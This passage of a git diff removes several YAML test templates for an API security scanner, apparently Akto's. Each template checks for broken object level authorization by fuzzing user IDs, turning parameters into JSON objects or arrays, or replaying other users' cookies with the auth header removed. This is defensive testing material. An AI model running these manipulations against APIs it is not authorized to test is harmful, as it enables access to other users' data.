- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- or:
- - request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- - query_param:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|^username$|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_body_param:
- userKey: ${random_ids}
- - modify_query_param:
- userKey: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDPATCH.yml b/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDPATCH.yml
deleted file mode 100644
index a9b85093..00000000
--- a/Broken-Object-Level-Authorization/BOLAByFuzzingUserIDPATCH.yml
+++ /dev/null
@@ -1,137 +0,0 @@
-id: FUZZ_USER_ID_PATCH
-info:
- name: "BOLA by Accessing Existing User Data Through User ID Fuzzing for PATCH/PUT method APIs"
- description: >
- "This specific test involves accessing existing user data through new user ID fuzzing (where HTTP methods can be PUT/PATCH), where attackers manipulate identifiers like UUIDs, string IDs, and integers to exploit vulnerabilities and gain unauthorized access. This highlights the critical need for robust user ID handling to prevent Business Logic Abuse and protect against unauthorized data exposure."
- details: >
- "Attackers exploit a BOLA vulnerability by capturing a new user's ID and fuzzing it (where HTTP methods can be PUT/PATCH) with variations such as UUIDs, string IDs, and integer IDs. This manipulation allows them to gain unauthorized access to existing user data, potentially leading to privacy breaches and unauthorized disclosures. It underscores the importance of secure user ID handling and highlights the risks associated with BOLA abuse in systems."
- impact: >
- "The impact of this test can be severe, potentially leading to unauthorized access to sensitive user information. Exploiting business logic vulnerabilities in this manner may result in privacy breaches, unauthorized disclosures, and compromise the integrity of user data. Addressing such vulnerabilities promptly is crucial to prevent unauthorized access, protect user privacy, and maintain the overall security posture of the system."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: FUZZ_USER_ID_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- or:
- - request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
- - query_param:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|^username$|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - modify_body_param:
- userKey: ${random_ids}
- - modify_query_param:
- userKey: ${random_ids}
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAByReplacingParamWithJSONObjectPATCH.yml b/Broken-Object-Level-Authorization/BOLAByReplacingParamWithJSONObjectPATCH.yml
deleted file mode 100644
index 0e53706b..00000000
--- a/Broken-Object-Level-Authorization/BOLAByReplacingParamWithJSONObjectPATCH.yml
+++ /dev/null
@@ -1,129 +0,0 @@
-id: ID_REPLACE_JSON_OBJECT_PATCH
-info:
- name: "BOLA: Turning Parameters into JSON Objects for Unauthorized Access for PUT/PATCH method APIs"
- description: >
- "This test entails transforming parameters into JSON objects to potentially circumvent security measures and gain unauthorized entry (where HTTP method is PUT/PATCH), emphasizing the critical need for securing input validation and addressing BOLA risks. This underscores the importance of robust security practices to prevent unauthorized access and protect against exploitation of broken object-level authorization."
- details: >
- "In this test, manipulation involves transforming parameters into JSON objects (where HTTP method is PUT/PATCH), aiming to exploit broken object-level authorization and gain unauthorized entry. Such actions highlight the critical importance of robust security practices, emphasizing the need for stringent input validation to mitigate the risks associated with unauthorized access and potential data breaches."
- impact: >
- "The impact of this test can be severe, introducing the risk of unauthorized entry and compromising sensitive data. Exploiting broken object-level authorization through parameter manipulation may lead to unauthorized access, potential data breaches, and a compromise of overall system security. Timely mitigation of these vulnerabilities is crucial to prevent unauthorized access and protect the system from the consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_REPLACE_JSON_OBJECT_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey: "{\"${userKey}\":\"${random_ids}\"}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLACookieFuzzing.yml b/Broken-Object-Level-Authorization/BOLACookieFuzzing.yml
deleted file mode 100644
index c14db4d0..00000000
--- a/Broken-Object-Level-Authorization/BOLACookieFuzzing.yml
+++ /dev/null
@@ -1,128 +0,0 @@
-id: BOLA_COOKIE_FUZZING
-info:
- name: "Fuzzing Cookie Data: Exploiting BOLA for Unauthorized Access."
- description: >
- "In this scenario, attackers exploit Broken Object Level Authorization by employing fuzzing techniques on cookie data extracted from existing user records. Fuzzing involves manipulating and testing variations of the cookie data to uncover vulnerabilities and potentially gain unauthorized access. This method underscores the critical need for robust access controls, secure session management, and thorough testing to mitigate the risks associated with unauthorized access and cookie-based attacks."
- details: >
- "In the exploitation of Broken Object Level Authorization through cookie data fuzzing, attackers manipulate existing user data within cookies to uncover vulnerabilities and gain unauthorized access. Fuzzing involves systematically testing variations of the cookie parameters to identify weaknesses in access controls and session management. This method highlights the importance of robust security measures to safeguard against unauthorized access and mitigate the risks associated with Broken Object Level Authorization through cookie-based attacks."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through cookie data fuzzing can be significant. Successful manipulation may lead to unauthorized access, compromising user accounts and potentially exposing sensitive data. This method underscores the critical importance of implementing robust security measures, including secure session management and access controls, to prevent unauthorized access and protect user privacy from the potential consequences of Broken Object Level Authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_COOKIE_FUZZING
- severity: HIGH
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
-wordLists:
- cookiesList:
- source: sample_data
- key: Cookie
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - remove_auth_header: true
- - modify_header:
- cookie: "${cookiesList}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLACookieFuzzingDELETE.yml b/Broken-Object-Level-Authorization/BOLACookieFuzzingDELETE.yml
deleted file mode 100644
index 6118021e..00000000
--- a/Broken-Object-Level-Authorization/BOLACookieFuzzingDELETE.yml
+++ /dev/null
@@ -1,126 +0,0 @@
-id: BOLA_COOKIE_FUZZING_DELETE
-info:
- name: "Fuzzing Cookie Data: Exploiting BOLA for Unauthorized Access for DELETE method APIs"
- description: >
- "In this scenario, attackers exploit Broken Object Level Authorization by employing fuzzing techniques on cookie data extracted from existing user records (where request API method is DELETE). Fuzzing involves manipulating and testing variations of the cookie data to uncover vulnerabilities and potentially gain unauthorized access. This method underscores the critical need for robust access controls, secure session management, and thorough testing to mitigate the risks associated with unauthorized access and cookie-based attacks."
- details: >
- "In the exploitation of Broken Object Level Authorization through cookie data fuzzing, attackers manipulate existing user data within cookies to uncover vulnerabilities and gain unauthorized access (where request API method is DELETE). Fuzzing involves systematically testing variations of the cookie parameters to identify weaknesses in access controls and session management. This method highlights the importance of robust security measures to safeguard against unauthorized access and mitigate the risks associated with Broken Object Level Authorization through cookie-based attacks."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through cookie data fuzzing can be significant. Successful manipulation may lead to unauthorized access, compromising user accounts and potentially exposing sensitive data. This method underscores the critical importance of implementing robust security measures, including secure session management and access controls, to prevent unauthorized access and protect user privacy from the potential consequences of Broken Object Level Authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_COOKIE_FUZZING_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
-wordLists:
- cookiesList:
- source: sample_data
- key: Cookie
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - remove_auth_header: true
- - modify_header:
- cookie: "${cookiesList}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLACookieFuzzingPATCH.yml b/Broken-Object-Level-Authorization/BOLACookieFuzzingPATCH.yml
deleted file mode 100644
index 6cebc307..00000000
--- a/Broken-Object-Level-Authorization/BOLACookieFuzzingPATCH.yml
+++ /dev/null
@@ -1,128 +0,0 @@
-id: BOLA_COOKIE_FUZZING_PATCH
-info:
- name: "Fuzzing Cookie Data: Exploiting BOLA for Unauthorized Access for PATCH/PUT method APIs"
- description: >
- "In this scenario, attackers exploit Broken Object Level Authorization by employing fuzzing techniques on cookie data extracted from existing user records (where request API method is PATCH/PUT). Fuzzing involves manipulating and testing variations of the cookie data to uncover vulnerabilities and potentially gain unauthorized access. This method underscores the critical need for robust access controls, secure session management, and thorough testing to mitigate the risks associated with unauthorized access and cookie-based attacks."
- details: >
- "In the exploitation of Broken Object Level Authorization through cookie data fuzzing, attackers manipulate existing user data within cookies to uncover vulnerabilities and gain unauthorized access (where request API method is PATCH/PUT). Fuzzing involves systematically testing variations of the cookie parameters to identify weaknesses in access controls and session management. This method highlights the importance of robust security measures to safeguard against unauthorized access and mitigate the risks associated with Broken Object Level Authorization through cookie-based attacks."
- impact: >
- "The impact of exploiting Broken Object Level Authorization through cookie data fuzzing can be significant. Successful manipulation may lead to unauthorized access, compromising user accounts and potentially exposing sensitive data. This method underscores the critical importance of implementing robust security measures, including secure session management and access controls, to prevent unauthorized access and protect user privacy from the potential consequences of Broken Object Level Authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: BOLA_COOKIE_FUZZING_PATCH
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2022-34770
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-inactive: true
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- contains_either:
- - PUT
- - PATCH
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- private_variable_context:
- gt: 0
-wordLists:
- cookiesList:
- source: sample_data
- key: Cookie
- location: header
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- - remove_auth_header: true
- - modify_header:
- cookie: "${cookiesList}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArray.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArray.yml
deleted file mode 100644
index 7095b54d..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArray.yml
+++ /dev/null
@@ -1,137 +0,0 @@
-id: ID_WRAP_ARRAY_JSON_BODY
-info:
- name: "BOLA: Turning JSON Param into Array for Unauthorized Access"
- description: >
- "This manipulation involves converting JSON parameter into array of single element to potentially
- circumvent security measures and gain unauthorized entry. Such actions underscore
- the importance of securing input validation and emphasize the risks associated with
- broken object-level authorization, necessitating robust security practices to thwart
- unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test. This involves converting JSON parameter into array of single element, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_JSON_BODY
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- neq: "OPTIONS"
- response_payload:
- length:
- gt: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - "${random_ids}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- gt: 0
- percentage_match:
- lt: 10
- percentage_match_schema:
- gte: 90
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
diff --git a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayDELETE.yml b/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayDELETE.yml
deleted file mode 100644
index 640eca9e..00000000
--- a/Broken-Object-Level-Authorization/BOLAJSONBodyParamArrayDELETE.yml
+++ /dev/null
@@ -1,129 +0,0 @@
-id: ID_WRAP_ARRAY_JSON_BODY_DELETE
-info:
- name: "BOLA: Turning JSON Param into Array for Unauthorized Access with DELETE method APIs"
- description: >
- "This manipulation involves converting JSON parameter into array of single element to potentially circumvent security measures and gain unauthorized entry (where API request method is DELETE). Such actions underscore the importance of securing input validation and emphasize the risks associated with broken object-level authorization, necessitating robust security practices to thwart unauthorized access attempts."
- details: >
- "Attackers exploit vulnerabilities by manipulating the system through this test (where API request method is DELETE). This involves converting JSON parameter into array of single element, aiming to exploit weaknesses in object-level authorization and gain unauthorized entry. This method highlights the critical need for secure input validation and emphasizes the risks associated with unauthorized access, reinforcing the importance of robust security measures to prevent and mitigate potential exploitation."
- impact: >
- "The impact of this test can be significant, posing a risk of unauthorized entry and potential compromise of sensitive data. By exploiting broken object-level authorization through JSON parameter manipulation, attackers may gain unauthorized access, leading to data breaches and compromising the overall integrity of the system. Promptly addressing and mitigating these vulnerabilities is crucial to prevent unauthorized access and safeguard against the potential consequences of broken object-level authorization exploitation."
- category:
- name: BOLA
- shortName: BOLA
- displayName: Broken Object Level Authorization (BOLA)
- subCategory: ID_WRAP_ARRAY_JSON_BODY_DELETE
- severity: CRITICAL
- tags:
- - Business logic
- - OWASP top 10
- - HackerOne top 10
- references:
- - "https://www.akto.io/blog/bola-exploitation-using-unauthorized-uuid-on-api-endpoint"
- - "https://www.akto.io/blog/what-is-broken-object-level-authorization-bola"
- - "https://github.com/OWASP/API-Security/blob/master/editions/2023/en/0xa1-broken-object-level-authorization.md"
- - "https://cwe.mitre.org/data/definitions/284.html"
- - "https://cwe.mitre.org/data/definitions/285.html"
- - "https://cwe.mitre.org/data/definitions/639.html"
- cwe:
- - CWE-284
- - CWE-285
- - CWE-639
- cve:
- - CVE-2023-39349
-attributes:
- nature: INTRUSIVE
- plan: PRO
- duration: FAST
-
-
-auth:
- authenticated: true
-api_selection_filters:
- response_code:
- gte: 200
- lt: 300
- method:
- eq: DELETE
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
- - unexpected error
- - unable to process request
- - bad request
- - service unavailable
- - account is locked
- - account is blocked
- - multiple failed attempts
- request_payload:
- for_one:
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- extract: userKey
-
-wordLists:
- random_ids:
- source: sample_data
- key:
- regex: "^UserId$|^UserID$|^User-ID$|^user_id$|^user-id$|^userid$|username|^Username$|^USERNAME$|^uId$|^uid$|^UID$|^member_id$|^MemberId$|^memberId$|^profile_id$|^ProfileId$|^profileId$|^userIdentifier$|^UserIdentifier$|^user_identifier$|^account_id$|^AccountID$|^account-id$|^account_id$|^customer_id$|^CustomerID$|^customer-id$|^customer_id$"
- all_apis: true
-execute:
- type: single
- requests:
- - req:
- modify_body_param:
- userKey:
- - "${random_ids}"
-validate:
- response_code:
- gte: 200
- lt: 300
- response_payload:
- length:
- eq: 0
- not_contains:
- - Error
- - Internal Server
- - Failed
- - Unauthorized
- - access denied
- - Forbidden
- - Method Not allowed
- - Gateway timeout
- - request timeout
- - server error
- - server busy
- - authentication error
- - authorization error
- - validation error
- - Permission Denied
- - invalid token
- - token expired
- - session expired
- - session timeout
